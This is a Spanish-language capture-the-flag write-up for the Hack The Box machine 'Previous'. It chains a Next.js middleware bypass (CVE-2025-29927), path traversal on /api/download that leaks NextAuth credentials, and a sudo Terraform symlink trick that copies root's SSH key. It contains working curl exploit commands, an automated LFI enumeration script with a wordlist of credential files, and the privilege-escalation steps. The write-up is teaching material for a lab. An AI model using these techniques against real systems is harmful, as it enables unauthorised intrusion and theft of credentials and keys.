Post

Previous — MEDIUM

Writeup técnico paso a paso de 'Previous' (HTB): bypass de autorización en Next.js mediante CVE-2025-29927 usando x-middleware-subrequest, enumeración de endpoints y explotación de LFI en /api/download para filtrar credenciales de NextAuth, acceso por SSH como jeremy y escalada a root abusando de Terraform (sudo) mediante symlink.

Previous — MEDIUM

🚀 Previous - Medium

📅 Fecha: 2026-01-12 🔗 IP: 10.10.11.83 🔍 Estado: 🎯 Resuelta ✅


TL;DR

Enumeramos el servicio web en previous.htb (Next.js + Nginx) y detectamos que varias rutas estaban protegidas por middleware. Aprovechamos un bypass de autorización en Next.js (CVE-2025-29927) enviando el header x-middleware-subrequest, lo que nos permitió acceder a endpoints internos. Desde ahí explotamos un LFI/Path Traversal en /api/download para leer archivos del sistema y extraer el archivo compilado de NextAuth (.next/server/pages/api/auth/[...nextauth].js), donde obtuvimos credenciales (jeremy:MyNameIsJeremyAndILovePancakes) y entramos por SSH. Para escalar a root, abusamos de sudo sobre Terraform (terraform apply como root): mediante TF_VAR_source_path y un symlink, forzamos al provider a copiar la clave privada de root a un directorio accesible y nos conectamos como root vía SSH.


Reconocimiento

Bien, primero haremos un escaneo de puertos.

1
2
3
4
5
6
7
8
9
┌──(kali㉿kali)-[~/hackthebox/previous]
└─$ nmap -p- --min-rate 5000 -T5 10.10.11.83 -Pn -n -oN puertos.txt               
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-10 02:43 -0500
Nmap scan report for 10.10.11.83
Host is up (0.16s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Después un escaneo de servicios:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/hackthebox/previous]
└─$ nmap -p 22,80 -sCV -Pn -n --min-rate 5000 -T 5 10.10.11.83 -oN escaneo.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-10 02:45 -0500
Nmap scan report for 10.10.11.83
Host is up (0.15s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

En el escaneo nos suelta el dominio http://previous.htb/, así que lo metemos al /etc/hosts como siempre:

1
2
3
4
┌──(kali㉿kali)-[~/hackthebox/previous]
└─$ echo "10.10.11.83 previous.htb" | sudo tee -a /etc/hosts                           
[sudo] password for kali: 
10.10.11.83 previous.htb

Ahora, veamos qué hay en la página:

pagina principal

Al ingresar, vemos un sitio informativo llamado PreviousJS, con secciones como “Get Started” y “Docs”. A simple vista parece “solo contenido”, pero ya sabemos que muchas veces lo interesante está detrás del login o en endpoints internos.

En la parte de contacto aparece un correo:

correo jeremy

Encontramos jeremy@previous.htb, esto puede ser útil después (usuario real / naming / credenciales / OSINT interno).

Más abajo vemos el footer:

1
© 2077 Previous Corp Inc Ltd

[!NOTE] “Corp Inc Ltd” no es un tipo de empresa único, es una mezcla de siglas (Corporation / Incorporated / Limited). No aporta demasiado para explotar, pero sí refleja el tono “corporativo” del sitio.

Haciendo whatweb:

1
2
3
┌──(kali㉿kali)-[~/hackthebox/previous]
└─$ whatweb http://previous.htb/ 
http://previous.htb/ [200 OK] Country[RESERVED][ZZ], Email[jeremy@previous.htb], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.83], Script[application/json], X-Powered-By[Next.js], nginx[1.18.0]

Aquí lo importante es el stack: Next.js + nginx.


Enumeración de autenticación (NextAuth)

Dándole al botón principal (el azul grande), nos topamos con login. No hay “register”, pero al intentar interactuar con el login, se observa que llama a:

1
http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs

Login

Como esto huele a NextAuth, decidí enumerar /api/auth/ con ffuf:

1
2
┌──(kali㉿kali)-[~/hackthebox/previous]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-big.txt -u http://previous.htb/api/auth/FUZZ -fc 307

Resultados:

1
2
3
4
5
signin                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 156ms]
error                   [Status: 200, Size: 5260, Words: 73, Lines: 1, Duration: 164ms]
session                 [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 227ms]
providers               [Status: 200, Size: 210, Words: 1, Lines: 1, Duration: 176ms]
csrf                    [Status: 200, Size: 80, Words: 1, Lines: 1, Duration: 168ms]

El endpoint que más me interesó fue providers:

1
2
3
┌──(kali㉿kali)-[~/hackthebox/previous]
└─$ curl http://previous.htb/api/auth/providers
{"credentials":{"id":"credentials","name":"Credentials","type":"credentials","signinUrl":"http://localhost:3000/api/auth/signin/credentials","callbackUrl":"http://localhost:3000/api/auth/callback/credentials"}}              

En formato bonito:

1
2
3
4
5
6
7
8
9
{
  "credentials": {
    "id": "credentials",
    "name": "Credentials",
    "type": "credentials",
    "signinUrl": "http://localhost:3000/api/auth/signin/credentials",
    "callbackUrl": "http://localhost:3000/api/auth/callback/credentials"
  }
}

Esto básicamente confirma que el login es usuario + contraseña (provider credentials), no OAuth. Además, el callback apunta a http://localhost:3000, lo cual sugiere que el backend real corre en 3000 y nginx está haciendo reverse proxy.

También consultamos CSRF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/hackthebox/previous]
└─$ curl -i http://previous.htb/api/auth/csrf

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 10 Jan 2026 08:20:02 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 80
Connection: keep-alive
Set-Cookie: next-auth.csrf-token=4b3b926030ab5308e713783ff0124ebd385eae38dfb71d84a5559196fc2393bd%7C440b9305a4212bd4ac11b12ddc2d0fbd91c72e3ce39095734fcad4c5b32d2f9b; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: next-auth.callback-url=http%3A%2F%2Flocalhost%3A3000; Path=/; HttpOnly; SameSite=Lax
ETag: "d1ba84kqtr28"
Vary: Accept-Encoding

{"csrfToken":"4b3b926030ab5308e713783ff0124ebd385eae38dfb71d84a5559196fc2393bd"}  

Aquí ya tenemos confirmado: NextAuth en uso, con cookies de sesión/CSRF, y un callback URL interno. Buen indicador de que hay middleware controlando el acceso.


Bypass de autorización (CVE-2025-29927 / Middleware)

Investigando un poco nos encontramos con CVE-2025-29927, que habla de un bypass de autorización cuando la aplicación confía en middleware para proteger rutas. La idea es que con ciertos headers, puedes forzar a que el middleware se “salte” y deje pasar la request hacia el handler real.

cve

Header usado:

1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Lo probamos en Burp, y efectivamente:

middleware

La lógica es:

  • Si NO es vulnerable → normalmente verás redirecciones tipo 307 (auth / login / etc).
  • Si es vulnerable → obtienes 200 OK y llegas al contenido protegido.

Con esto, podemos enumerar rutas bajo /api/ pero ya “sin el candado” del middleware. Por ejemplo con dirb:

1
2
┌──(kali㉿kali)-[~/hackthebox/previous]
└─$ dirb http://previous.htb/api/ -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

Y vemos cosas interesantes como:

1
2
+ http://previous.htb/api/cgi-bin/ (CODE:308|SIZE:12)                                                                                 
+ http://previous.htb/api/download (CODE:400|SIZE:28)

Esto es importante: significa que sí estamos alcanzando lógica interna en ciertos endpoints. El 400 en /api/download no es “malo”; al contrario, suele significar “llegaste a la app, pero te faltó un parámetro”.


Acceso a documentación + endpoint /api/download

Debe haber un endpoint para usar en download, así que entré a la documentación usando el header del middleware (solo lo añadí y navegué). Fue fácil.

Tiene dos secciones, pero la que nos interesa es Examples:

Documentacion

example

Aquí hay un ejemplo de descarga, y este es el encabezado que utiliza la documentación:

download

En resumen: /api/download recibe un parámetro example (como hello-world.ts). Esto sugiere que el backend intenta servir archivos “permitidos”, pero si la validación es débil, puede convertirse en Path Traversal.


LFI / Path Traversal en /api/download

Intenté algo directo: pedir /etc/passwd. Para mi sorpresa, funcionó:

1
2
3
┌──(kali㉿kali)-[~/hackthebox/previous]
└─$ curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -s "http://previous.htb/api/download?example=../../../../../../etc/passwd"

Output:

1
2
3
4
root:x:0:0:root:/root:/bin/sh
...
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin

Con esto confirmamos dos cosas:

  1. El endpoint es vulnerable a traversal/LFI.
  2. Hay usuarios interesantes: node, nextjs, etc. (y eso encaja con Next.js).

Enumeración de archivos vía LFI (sin hacerlo a lo loco)

Como no quiero tirar paths al azar, armé una wordlist con archivos típicos según la tecnología (Linux + Nginx + Next.js + NextAuth). También metí /proc/ porque ahí se saca info real del proceso.

Wordlist:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
┌──(kali㉿kali)-[~/hackthebox/previous]
└─$ cat lfi_wordlist.txt
# Sistema
/etc/passwd
/etc/shadow
/etc/hosts
/etc/hostname
/etc/issue
/etc/motd
/etc/resolv.conf

# Configuración aplicación
/app/.env
/app/.env.local
/app/.env.production
/app/.env.development
/app/package.json
/app/next.config.js
/app/next.config.mjs
/app/tsconfig.json
/app/jsconfig.json

# Next.js específico
/app/pages/api/download.js
/app/pages/api/auth/[...nextauth].js
/app/pages/api/auth/csrf.js
/app/lib/auth.js
/app/utils/auth.js
/app/middleware.js
/app/middleware.ts

# Credenciales SSH
/home/nextjs/.ssh/authorized_keys
/home/nextjs/.ssh/id_rsa
/home/nextjs/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/root/.ssh/id_rsa

# Configuraciones varias
/home/nextjs/.bashrc
/home/nextjs/.bash_history
/home/nextjs/.profile
/root/.bashrc
/root/.bash_history

# Logs de aplicación
/var/log/auth.log
/var/log/syslog
/var/log/nginx/access.log
/var/log/nginx/error.log

# Proc filesystem (info del proceso actual)
/proc/self/environ
/proc/self/cmdline
/proc/self/status
/proc/self/maps
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2

# Archivos de ejemplo reales de la app
/app/examples/hello-world.ts
/app/examples/basic-auth.ts
/app/examples/middleware-example.ts

# Backup y versiones
/app/.git/config
/app/.git/HEAD
/app/.git/logs/HEAD
/app/package-lock.json
/app/yarn.lock
/app/Dockerfile
/app/docker-compose.yml

# Web server config
/etc/nginx/nginx.conf
/etc/nginx/sites-available/default
/etc/nginx/sites-enabled/default

# Variables de entorno del sistema
/proc/1/environ

Y usé este script para automatizar el proceso:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#!/bin/bash
# lfi_enum.sh - Enumeración automática con LFI

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

URL="http://previous.htb/api/download"
HEADER="x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
WORDLIST="lfi_wordlist.txt"
OUTPUT_DIR="lfi_results"

mkdir -p "$OUTPUT_DIR"

echo -e "${YELLOW}[+] Iniciando enumeración LFI${NC}"
echo -e "${YELLOW}[+] Target: $URL${NC}"
echo -e "${YELLOW}[+] Wordlist: $WORDLIST${NC}"
echo -e "${YELLOW}[+] Guardando resultados en: $OUTPUT_DIR/${NC}\n"

total=$(wc -l < "$WORDLIST" | tr -d ' ')
current=0
found=0

while IFS= read -r file; do
    [[ "$file" =~ ^#.*$ ]] && continue
    [[ -z "$file" ]] && continue
    
    ((current++))
    echo -ne "${YELLOW}[$current/$total]${NC} Probando: $file"
    
    lfi_path="../../../../../../..$file"
    
    response=$(curl -s -H "$HEADER" \
        -m 10 \
        -w "|STATUS:%{http_code}|SIZE:%{size_download}" \
        "$URL?example=$lfi_path" 2>/dev/null)
    
    content=$(echo "$response" | sed 's/|STATUS:.*//')
    http_code=$(echo "$response" | grep -o 'STATUS:[0-9]*' | cut -d: -f2)
    size=$(echo "$response" | grep -o 'SIZE:[0-9]*' | cut -d: -f2)
    
    if [[ "$http_code" == "200" && "$size" -gt 0 ]]; then
        echo -e " ${GREEN}[FOUND - $size bytes]${NC}"
        ((found++))
        
        safe_name=$(echo "$file" | tr '/' '_' | tr '.' '_')
        echo -e "=== $file (HTTP $http_code, $size bytes) ===" > "$OUTPUT_DIR/$safe_name.txt"
        echo "$content" >> "$OUTPUT_DIR/$safe_name.txt"
        
        if echo "$content" | grep -q '[[:print:]]'; then
            echo -e "${GREEN}Preview:${NC} $(echo "$content" | tr -d '\n' | head -c 100)"
        fi
    elif [[ "$http_code" == "400" ]]; then
        echo -e " ${RED}[BLOCKED]${NC}"
    elif [[ "$http_code" == "307" || "$http_code" == "302" ]]; then
        echo -e " ${YELLOW}[REDIRECT - needs auth]${NC}"
    elif [[ "$http_code" == "404" ]]; then
        echo -e " ${YELLOW}[NOT FOUND]${NC}"
    else
        echo -e " ${RED}[ERROR $http_code]${NC}"
    fi
    
    sleep 0.1
    
done < "$WORDLIST"

echo -e "\n${GREEN}[+] Enumeración completada${NC}"
echo -e "${GREEN}[+] Archivos encontrados: $found/$total${NC}"
echo -e "${GREEN}[+] Resultados en: $OUTPUT_DIR/${NC}"

if [[ $found -gt 0 ]]; then
    echo -e "\n${YELLOW}[+] Archivos con contenido:${NC}"
    ls -la "$OUTPUT_DIR/"*.txt 2>/dev/null | awk '{print $9}'
fi

Salida:

1
2
3
4
5
6
7
8
9
10
11
12
13
[+] Archivos con contenido:
lfi_results/_app__env.txt
lfi_results/_app_package_json.txt
lfi_results/_etc_hostname.txt
lfi_results/_etc_hosts.txt
lfi_results/_etc_issue.txt
lfi_results/_etc_motd.txt
lfi_results/_etc_passwd.txt
lfi_results/_etc_resolv_conf.txt
lfi_results/_proc_self_cmdline.txt
lfi_results/_proc_self_environ.txt
lfi_results/_proc_self_maps.txt
lfi_results/_proc_self_status.txt

Uno de los más útiles fue /proc/self/environ, porque te describe el runtime de la app:

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/hackthebox/previous]
└─$ curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -s "http://previous.htb/api/download?example=../../../../../../proc/self/environ" | tr '\0' '\n'
NODE_VERSION=18.20.8
HOSTNAME=0.0.0.0
YARN_VERSION=1.22.22
SHLVL=1
PORT=3000
HOME=/home/nextjs
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NEXT_TELEMETRY_DISABLED=1
PWD=/app
NODE_ENV=production

Y package.json confirma dependencias clave:

1
2
3
┌──(kali㉿kali)-[~/hackthebox/previous]
└─$ curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  -s "http://previous.htb/api/download?example=../../../../../../app/package.json"
1
2
3
4
5
6
7
8
{
  "dependencies": {
    "next": "^15.2.2",
    "next-auth": "^4.24.11",
    "react": "^18.2.0",
    "react-dom": "^18.2.0"
  }
}

También encontré server.js (muy común en deploys standalone) y trae mucha configuración interna de Next.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
┌──(kali㉿kali)-[~/hackthebox/previous]
└─$ curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -s "http://previous.htb/api/download?example=../../../../../../app/server.js" | tr '\0' '\n'
const path = require('path')

const dir = path.join(__dirname)

process.env.NODE_ENV = 'production'
process.chdir(__dirname)

const currentPort = parseInt(process.env.PORT, 10) || 3000
const hostname = process.env.HOSTNAME || '0.0.0.0'

let keepAliveTimeout = parseInt(process.env.KEEP_ALIVE_TIMEOUT, 10)
const nextConfig = {"env":{},"eslint":{"ignoreDuringBuilds":false},"typescript":{"ignoreBuildErrors":false,"tsconfigPath":"tsconfig.json"},"distDir":"./.next","cleanDistDir":true,"assetPrefix":"","cacheMaxMemorySize":52428800,"configOrigin":"next.config.mjs","useFileSystemPublicRoutes":true,"generateEtags":true,"pageExtensions":["js","jsx","md","mdx","ts","tsx"],"poweredByHeader":true,"compress":true,"images":{"deviceSizes":[640,750,828,1080,1200,1920,2048,3840],"imageSizes":[16,32,48,64,96,128,256,384],"path":"/_next/image","loader":"default","loaderFile":"","domains":[],"disableStaticImages":false,"minimumCacheTTL":60,"formats":["image/webp"],"dangerouslyAllowSVG":false,"contentSecurityPolicy":"script-src 'none'; frame-src 'none'; sandbox;","contentDispositionType":"attachment","remotePatterns":[],"unoptimized":false},"devIndicators":{"position":"bottom-left"},"onDemandEntries":{"maxInactiveAge":60000,"pagesBufferLength":5},"amp":{"canonicalBase":""},"basePath":"","sassOptions":{},"trailingSlash":false,"i18n":null,"productionBrowserSourceMaps":false,"excludeDefaultMomentLocales":true,"serverRuntimeConfig":{},"publicRuntimeConfig":{},"reactProductionProfiling":false,"reactStrictMode":null,"reactMaxHeadersLength":6000,"httpAgentOptions":{"keepAlive":true},"logging":{},"expireTime":31536000,"staticPageGenerationTimeout":60,"output":"standalone","modularizeImports":{"@mui/icons-material":{"transform":"@mui/icons-material/"},"lodash":{"transform":"lodash/"}},"outputFileTracingRoot":"/app","experimental":{"allowedDevOrigins":[],"nodeMiddleware":false,"cacheLife":{"default":{"stale":300,"revalidate":900,"expire":4294967294},"seconds":{"stale":0,"revalidate":1,"expire":60},"minutes":{"stale":300,"revalidate":60,"expire":3600},"hours":{"stale":300,"revalidate":3600,"expire":86400},"days":{"stale":300,"revalidate":86400,"expire":604800},"weeks":{"stale":300,"revalidate":604800,"expire":2592000},"max":{"stale":300,"revalidate":2592000,"expire":4294967294}},"cacheHandlers":{},"cssChunking":true,"multiZoneDraftMode":false,"appNavFailHandling":false,"prerenderEarlyExit":true,"serverMinification":true,"serverSourceMaps":false,"linkNoTouchStart":false,"caseSensitiveRoutes":false,"clientSegmentCache":false,"preloadEntriesOnStart":true,"clientRouterFilter":true,"clientRouterFilterRedirects":false,"fetchCacheKeyPrefix":"","middlewarePrefetch":"flexible","optimisticClientCache":true,"manualClientBasePath":false,"cpus":1,"memoryBasedWorkersCount":false,"imgOptConcurrency":null,"imgOptTimeoutInSeconds":7,"imgOptMaxInputPixels":268402689,"imgOptSequentialRead":null,"isrFlushToDisk":true,"workerThreads":false,"optimizeCss":false,"nextScriptWorkers":false,"scrollRestoration":false,"externalDir":false,"disableOptimizedLoading":false,"gzipSize":true,"craCompat":false,"esmExternals":true,"fullySpecified":false,"swcTraceProfiling":false,"forceSwcTransforms":false,"largePageDataBytes":128000,"turbo":{"root":"/app"},"typedRoutes":false,"typedEnv":false,"parallelServerCompiles":false,"parallelServerBuildTraces":false,"ppr":false,"authInterrupts":false,"webpackMemoryOptimizations":false,"optimizeServerReact":true,"useEarlyImport":false,"viewTransition":false,"staleTimes":{"dynamic":0,"static":300},"serverComponentsHmrCache":true,"staticGenerationMaxConcurrency":8,"staticGenerationMinPagesPerWorker":25,"dynamicIO":false,"inlineCss":false,"useCache":false,"optimizePackageImports":["lucide-react","date-fns","lodash-es","ramda","antd","react-bootstrap","ahooks","@ant-design/icons","@headlessui/react","@headlessui-float/react","@heroicons/react/20/solid","@heroicons/react/24/solid","@heroicons/react/24/outline","@visx/visx","@tremor/react","rxjs","@mui/material","@mui/icons-material","recharts","react-use","effect","@effect/schema","@effect/platform","@effect/platform-node","@effect/platform-browser","@effect/platform-bun","@effect/sql","@effect/sql-mssql","@effect/sql-mysql2","@effect/sql-pg","@effect/sql-squlite-node","@effect/sql-squlite-bun","@effect/sql-squlite-wasm","@effect/sql-squlite-react-native","@effect/rpc","@effect/rpc-http","@effect/typeclass","@effect/experimental","@effect/opentelemetry","@material-ui/core","@material-ui/icons","@tabler/icons-react","mui-core","react-icons/ai","react-icons/bi","react-icons/bs","react-icons/cg","react-icons/ci","react-icons/di","react-icons/fa","react-icons/fa6","react-icons/fc","react-icons/fi","react-icons/gi","react-icons/go","react-icons/gr","react-icons/hi","react-icons/hi2","react-icons/im","react-icons/io","react-icons/io5","react-icons/lia","react-icons/lib","react-icons/lu","react-icons/md","react-icons/pi","react-icons/ri","react-icons/rx","react-icons/si","react-icons/sl","react-icons/tb","react-icons/tfi","react-icons/ti","react-icons/vsc","react-icons/wi"],"trustHostHeader":false,"isExperimentalCompile":false},"htmlLimitedBots":"Mediapartners-Google|Slurp|DuckDuckBot|baiduspider|yandex|sogou|bitlybot|tumblr|vkShare|quora link preview|redditbot|ia_archiver|Bingbot|BingPreview|applebot|facebookexternalhit|facebookcatalog|Twitterbot|LinkedInBot|Slackbot|Discordbot|WhatsApp|SkypeUriPreview","bundlePagesRouterDependencies":false,"configFileName":"next.config.mjs"}

process.env.__NEXT_PRIVATE_STANDALONE_CONFIG = JSON.stringify(nextConfig)

require('next')
const { startServer } = require('next/dist/server/lib/start-server')

if (
  Number.isNaN(keepAliveTimeout) ||
  !Number.isFinite(keepAliveTimeout) ||
  keepAliveTimeout < 0
) {
  keepAliveTimeout = undefined
}

startServer({
  dir,
  isDev: false,
  config: nextConfig,
  hostname,
  port: currentPort,
  allowRetry: false,
  keepAliveTimeout,
}).catch((err) => {
  console.error(err);
  process.exit(1);
});                       

Extracción de credenciales desde NextAuth (código compilado)

Hasta aquí ya sabíamos algo: Next.js en producción compila rutas a .next/server/.... Y en el pages-manifest.json se veían referencias tipo:

"/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js"

Ese endpoint es literalmente el corazón de la autenticación.

Primero probé el archivo “fuente” y no encontré nada útil, así que fui por la versión compilada:

  • Código fuente: pages/api/auth/[...nextauth].js
  • Código compilado: .next/server/pages/api/auth/[...nextauth].js

Entonces leí:

1
2
3
4
5
6
┌──(kali㉿kali)-[~/hackthebox/previous/enum_results]
└─$ curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -G \
     --data-urlencode "example=../../../../../../app/.next/server/pages/api/auth/[...nextauth].js" \
     "http://previous.htb/api/download"
"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.username==="jeremy"&&e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();   

Output (minificado / feo), pero con paciencia se ve la lógica:

  • Provider credentials
  • usuario esperado: jeremy
  • password: process.env.ADMIN_SECRET ?? "MyNameIsJeremyAndILovePancakes"

Lo importante:

1
jeremy:MyNameIsJeremyAndILovePancakes

Acceso por SSH + User Flag

Con esas credenciales entramos por SSH:

1
ssh jeremy@previous.htb

Y confirmamos:

1
2
3
4
5
6
7
8
jeremy@previous:~$ whoami
jeremy
jeremy@previous:~$ id
uid=1000(jeremy) gid=1000(jeremy) groups=1000(jeremy)
jeremy@previous:~$ ls
docker  user.txt
jeremy@previous:~$ cat user.txt 
67798dbcd3d5e18783fcd5d52d72e784

Privilege Escalation

Aquí sí, lo bueno. La escalada es limpia: sudo permite terraform como root, y terraform usa un provider que copia archivos. O sea, si logramos controlar qué archivo lee como root… nos llevamos un premio.


1) Enumeración de SUDO

1
2
3
4
5
6
7
jeremy@previous:~$ sudo -l
[sudo] password for jeremy: 
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply

Esto significa: podemos ejecutar terraform apply como root en /opt/examples. Aunque solo nos dejen apply, es suficiente, porque apply ejecuta el flujo real del provider.


2) Análisis del proyecto Terraform

Nos movemos a /opt/examples:

1
jeremy@previous:/opt/examples$ cat main.tf 

Contenido:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}

variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"

  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}

provider "examples" {}

resource "examples_example" "example" {
  source_path = var.source_path
}

output "destination_path" {
  value = examples_example.example.destination_path
}

Y revisamos el estado actual:

1
jeremy@previous:/opt/examples$ cat terraform.tfstate

Vemos que el provider copia desde:

  • source_path = "/root/examples/hello-world.ts" hacia:
  • destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts"

Esto es clave: el destino es un directorio accesible por el usuario (y probablemente expuesto por la app).

En palabras simples: Terraform está funcionando como una “máquina copiadora” con permisos root.


3) Identificación del bug en la validación

La variable source_path tiene validación:

  • Debe contener "/root/examples/"
  • No debe contener ".."

El problema: strcontains() solo revisa que la cadena exista en cualquier parte del string, no que sea el inicio de la ruta real.

Así que una ruta como:

1
/home/jeremy/root/examples/id_rsa

contiene /root/examples/ no contiene ..pasa la validación

Y si además ese path apunta (mediante symlink) a un archivo real en /root/..., entonces Terraform (como root) lo va a leer.


La idea es:

  1. Crear una ruta que “cumpla el texto” /root/examples/ dentro del path.
  2. Dentro, crear un symlink que apunte a un archivo sensible de root.
  3. Sobrescribir la variable con TF_VAR_source_path.
  4. Ejecutar terraform apply como root para que copie el archivo.
1
2
3
4
5
# 1) Crear estructura que incluya /root/examples/ como texto dentro del path
jeremy@previous:~$ mkdir -p root/examples

# 2) Symlink hacia la clave privada de root
jeremy@previous:~$ ln -s /root/.ssh/id_rsa /home/jeremy/root/examples/id_rsa

4.2 Sobrescribir variable y ejecutar terraform

1
2
3
4
5
# 3) Sobrescribir variable con TF_VAR_
jeremy@previous:~$ export TF_VAR_source_path=/home/jeremy/root/examples/id_rsa

# 4) Ejecutar terraform apply como root
jeremy@previous:~$ sudo /usr/bin/terraform -chdir=/opt/examples apply

Cuando Terraform corre, muestra que el recurso se “reemplaza” y el destino cambia a id_rsa:

1
2
destination_path -> "/home/jeremy/docker/previous/public/examples/id_rsa"
source_path      -> "/home/jeremy/root/examples/id_rsa"

¡Éxito! Root acaba de copiar su propia clave SSH a un directorio accesible.


5) Root: obtener la clave y conectar

Confirmamos que la clave se copió:

1
2
3
4
jeremy@previous:/opt/examples$ cat /home/jeremy/docker/previous/public/examples/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

En Kali:

1
2
3
4
5
6
7
8
# Copiar la clave
scp jeremy@previous.htb:/home/jeremy/docker/previous/public/examples/id_rsa .

# Permisos correctos
chmod 600 id_rsa

# Conectar como root
ssh -i id_rsa root@previous.htb

Confirmación:

1
2
3
4
root@previous:~# id
uid=0(root) gid=0(root) groups=0(root)

root@previous:~# cat /root/root.txt

root


Explicación - Resumen

Esta máquina gira alrededor de una cadena web moderna en Next.js (detrás de Nginx) donde el control de acceso depende del middleware. Al identificar que la aplicación estaba expuesta a CVE-2025-29927, fue posible forzar el bypass de autorización enviando el header x-middleware-subrequest, lo que permitió acceder a rutas que normalmente devolvían 307 por autenticación.

Con el middleware fuera del camino, se llegó a un endpoint crítico: /api/download. Este endpoint, pensado para descargar ejemplos, falla al validar correctamente el parámetro example, permitiendo Path Traversal / LFI y lectura arbitraria de archivos. A partir de ahí, la enumeración con /proc/self/environ y archivos de la app confirmó el entorno (Node, Next.js, modo producción) y, lo más importante, permitió leer el código compilado de Next.js dentro de .next/server/.

